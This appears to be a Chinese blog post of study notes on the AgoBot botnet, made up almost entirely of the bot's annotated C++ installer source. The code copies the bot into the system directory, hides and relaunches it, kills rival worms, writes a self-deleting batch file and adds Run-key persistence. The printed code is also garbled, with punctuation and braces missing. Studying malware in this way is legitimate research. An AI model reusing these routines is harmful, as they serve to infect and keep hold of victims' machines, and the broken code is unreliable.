AgoBot 殭屍網絡研究筆記(十二)

 

十二、2008年3月19日

 

作者:青青子衿

email:[email protected]

1 bool   CInstaller :: CopyToSysDir ( CString  & sFilename )   函數

////////////////////////////////////////////////////////////////////////////////////

//

//函數功能:保證系統中只有一個bot在運行,將bot拷貝到系統文件夾中, 把拷貝到系統中的bot運行起來

//參數:   CString &sFilename  bot的文件名

//返回值:   調用成功返回true,否則返回false

//

/////////////////////////////////////////////////////////////////////////////////

bool   CInstaller :: CopyToSysDir ( CString  & sFilename )

{

  char   tstr [ MAX_PATH ];

 

#ifdef  WIN32

  CString   sysdir

  GetSystemDirectory ( sysdir . GetBuffer ( MAX_PATH ),  MAX_PATH );   //獲得系統文件目錄

 

  m_sSysDir . Assign ( sysdir . CStr ());  //將該目錄添加到該類的唯一的一個成員變量中

 

  CString   cfilename

  GetModuleFileName ( GetModuleHandle ( NULL ),  cfilename . GetBuffer ( MAX_PATH ),  MAX_PATH );   //獲得當前模塊的所在文件的文件名

  HINSTANCE   kernel32_dll = LoadLibrary ( "kernel32.dll" );  //加載kernel32.dll文件

  if ( kernel32_dll ) //獲得一下函數的位置

  {

    fRegisterServiceProcess =( RSP ) GetProcAddress ( kernel32_dll "RegisterServiceProcess" );

    fCreateToolhelp32Snapshot =( CT32S ) GetProcAddress ( kernel32_dll "CreateToolhelp32Snapshot" );

    fProcess32First =( P32F ) GetProcAddress ( kernel32_dll "Process32First" );

    fProcess32Next =( P32N ) GetProcAddress ( kernel32_dll "Process32Next" );

    if ( fRegisterServiceProcess

    {

      fRegisterServiceProcess (0, 1);   //把當前進程設置爲服務

   

  }

 

#else

  //處理linux的情況

  m_sSysDir . Assign ( "/usr/sbin" );

  CString   sysdir ( m_sSysDir );

  CString   cfilename ( g_cMainCtrl . m_sArgv0 );

#endif  // WIN32

  if (! g_cMainCtrl . m_cCmdLine . m_cConfig . bUpdate )

  {

    unsigned   long   lStartTime = GetTickCount (); 

    bool   bFound = true ;

    while (( GetTickCount ()- lStartTime ) < 60000 &&  bFound )   //判斷超時

    {  

      if ( GetCopies ( sFilename )<2)  //獲得拷貝的數目

     

        //如果小於2設爲返回false

        bFound = false ;

     

      Sleep (1000);

    }

    if ( bFound )   //如果拷貝數大於2 ,那麼本進程結束

    {

      exit (1);

    }

  }

  long   lTimeoutStart ;  

  if (! cfilename . Find ( sFilename . CStr (), 0))   //如果參數的文件名,是進程文件名的子字符串,執行下面的操作

  {

    if ( g_cMainCtrl . m_cCmdLine . m_cConfig . bUpdate //如果bUpdate 爲true,則殺掉進程sFilename

    {

      KillProcess ( sFilename . CStr ());

    }

  }           //這裏保證了系統中只有一個bot進程在運行。

#ifdef  WIN32

  // Kill MSBlast  //殺死衝擊波病毒

  KillProcess ( "msblast.exe" );

  KillProcess ( "penis32.exe" );

  KillProcess ( "mspatch.exe" );

  // Kill Sobig.F  

  KillProcess ( "winppr32.exe" );  //病毒的進程名

  // Kill Welchia

  KillProcess ( "dllhost.exe" );  //病毒的進程名

  KillProcess ( "tftpd.exe" );

#else   // FIXME: Add linux worm killer here

#endif  // WIN32

  if (! cfilename . Find ( sysdir , 0) ||  cfilename . Find ( "winhlpp32.exe" , 0))  //如果是在linux平臺下用下面的條件語句,在windows平臺下用本條件語句

#ifdef  LINUX

  if (! cfilename . Find ( sFilename , 0))

#endif   {  

    sprintf ( tstr "%s%c%s" sysdir . CStr (),  DIRCHAR sFilename . CStr ()); //DIRCHAR 表示斜槓/

    lTimeoutStart = GetTickCount ();  //獲得當前的時間

  // FIXME::BAD!!!

#ifdef  WIN32

    while ( CopyFile ( cfilename tstr false )== false  &&    //拷貝文件到系統目錄,

      GetTickCount ()- lTimeoutStart  < 25000)   //如果拷貝文件失敗,並且嘗試時間小於25秒,那麼休息2秒鐘後重試。

    {

      Sleep (2000);

    }

#else

    //處理linux平臺,使用shell中的cp指令

    char   szCmdBuf [ MAX_PATH ]; 

    sprintf ( szCmdBuf "cp %s %s" cfilename . CStr (),  tstr );

    system ( szCmdBuf );

#endif  // WIN32

#ifndef  _DEBUG

#ifdef  WIN32

    PROCESS_INFORMATION   pinfo

    STARTUPINFO   sinfo ;

    memset (& sinfo , 0,  sizeof ( STARTUPINFO ));

    sinfo . cb  =  sizeof ( sinfo ); 

    sinfo . wShowWindow  =  SW_HIDE ;

    if ( CreateProcess ( NULL tstr NULL NULL TRUE NORMAL_PRIORITY_CLASS  |  DETACHED_PROCESS NULL NULL , & sinfo , & pinfo )) 

   

      //創建新的進程,運行拷貝到系統文件夾中的bot程序,本bot進程退出。

      exit (0); 

    }

#else 

    //在linux平臺下用shell完成

    sprintf ( szCmdBuf "%s 2>&1 > /dev/null 2>&1 &" tstr );

    system ( szCmdBuf );  exit (0);

#endif  // WIN32

#endif  // _DEBUG

  }

  return   true ;

}

2 bool   CInstaller :: Install ()   函數

//////////////////////////////////////////////////////

//

//函數功能:安裝類的構造函數,不做任何操作

//參數:  

//返回值:   bool ,永遠是true

//

///////////////////////////////////////////////////////

bool   CInstaller :: Install ()

{

  return   true

}

3 bool   CInstaller :: Uninstall ()    卸載函數

///////////////////////////////////////////////////////////

//

//函數功能:卸載函數,啓動卸載批處理卸載bot

//參數:  

//返回值:   bool調用成功返回true,否則返回false

//

///////////////////////////////////////////////////////////////

bool   CInstaller :: Uninstall ()

{

#ifdef  WIN32

  HANDLE   f

  DWORD   r ;

  PROCESS_INFORMATION   pinfo

  STARTUPINFO   sinfo ;

  char   cmdline [ MAX_PATH ];

  char   tcmdline [ MAX_PATH ]; 

  char   cfilename [ MAX_PATH ];

  char   batfile [ MAX_PATH ]; 

  char   tempdir [ MAX_PATH ];

  GetModuleFileName ( GetModuleHandle ( NULL ),  cfilename sizeof ( cfilename ));   //獲取本進程的文件名

 

  GetTempPath ( sizeof ( tempdir ),  tempdir );  //獲得系統臨時文件路徑

  sprintf ( batfile "%s//r.bat" tempdir );  //構造刪除bot批處理程序,的全路徑文件名

 

  f  =  CreateFile ( batfile GENERIC_WRITE , 0,  NULL CREATE_ALWAYS , 0, 0);  //創建批處理程序

  if  ( f  > ( HANDLE )0)  //如果文件創建成功

  {

    // write a batch file to remove our executable once we close

    WriteFile ( f "@echo off/r/n"

            ":start/r/nif not exist /"/"%1/"/" goto done/r/n"

            "del /F /"/"%1/"/"/r/n"

            "del /"/"%1/"/"/r/n"

            "goto start/r/n"

            ":done/r/n"

            "del /F %temp%/r.bat/r/n"

            "del %temp%/r.bat/r/n" , 105, & r NULL );  //寫入批處理代碼

    CloseHandle ( f );

    memset (& sinfo , 0,  sizeof ( STARTUPINFO ));

    sinfo . cb  =  sizeof ( sinfo );

    sinfo . wShowWindow  =  SW_HIDE ;

    GetModuleFileName ( GetModuleHandle ( NULL ),  cfilename sizeof ( cfilename )); // get our file name

    sprintf ( tcmdline "%%comspec%% /c %s %s" batfile cfilename );  // build command line  構造運行批處理程序的命令行

    ExpandEnvironmentStrings ( tcmdline cmdline sizeof ( cmdline ));  // put the name of the command interpreter into the command line//擴展環境變量,作用是加上批處理程序所在的路徑

    // execute the batch file

    CreateProcess ( NULL cmdline NULL NULL TRUE NORMAL_PRIORITY_CLASS  |  DETACHED_PROCESS NULL NULL , & sinfo , & pinfo );

  }

#else   // Linux

#endif  // WIN32

  return   true ;

}

4 bool   CInstaller :: RegStartAdd ( CString  & sValuename CString  & sFilename )     函數

////////////////////////////////////////////////////////////////////

//

//函數功能:添加啓動項

//參數:   CString &sValuename     鍵值的名稱

//       CString &sFilename     啓動的文件名

//返回值:   bool 返回true

//

/////////////////////////////////////////////////////////////////////

bool   CInstaller :: RegStartAdd ( CString  & sValuename CString  & sFilename )

{  

  HKEY   key ;

  RegCreateKeyEx ( HKEY_LOCAL_MACHINE "Software//Microsoft//Windows//CurrentVersion//Run" , 0,  NULL REG_OPTION_NON_VOLATILE KEY_ALL_ACCESS NULL , & key NULL ); 

  RegSetValueEx ( key sValuename , 0,  REG_SZ , ( LPBYTE )( const   char  *) sFilename , ( DWORD ) strlen ( sFilename )); 

  RegCloseKey ( key ); 

  RegCreateKeyEx ( HKEY_LOCAL_MACHINE "Software//Microsoft//Windows//CurrentVersion//RunServices" , 0,  NULL REG_OPTION_NON_VOLATILE KEY_ALL_ACCESS NULL , & key NULL ); 

  RegSetValueEx ( key sValuename , 0,  REG_SZ , ( LPBYTE )( const   char  *) sFilename , ( DWORD ) strlen ( sFilename )); 

  RegCloseKey ( key );

  return   true

}

5 bool   CInstaller :: RegStartDel ( CString  & sValuename )   函數

////////////////////////////////////////////////////////////////////

//

//函數功能:啓動項刪除

//參數:   CString &sValuename     啓動項的鍵值名稱

//返回值:   bool 永遠返回true

//

///////////////////////////////////////////////////////////////////////

bool   CInstaller :: RegStartDel ( CString  & sValuename )

{

  HKEY   key ;

  RegCreateKeyEx ( HKEY_LOCAL_MACHINE "Software//Microsoft//Windows//CurrentVersion//Run" , 0,  NULL REG_OPTION_NON_VOLATILE KEY_ALL_ACCESS NULL , & key NULL ); 

  RegDeleteValue ( key sValuename ); 

  RegCloseKey ( key ); 

  RegCreateKeyEx ( HKEY_LOCAL_MACHINE "Software//Microsoft//Windows//CurrentVersion//RunServices" , 0,  NULL REG_OPTION_NON_VOLATILE KEY_ALL_ACCESS NULL , & key NULL ); 

  RegDeleteValue ( key sValuename ); 

  RegCloseKey ( key ); 

  return   true

}

 
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章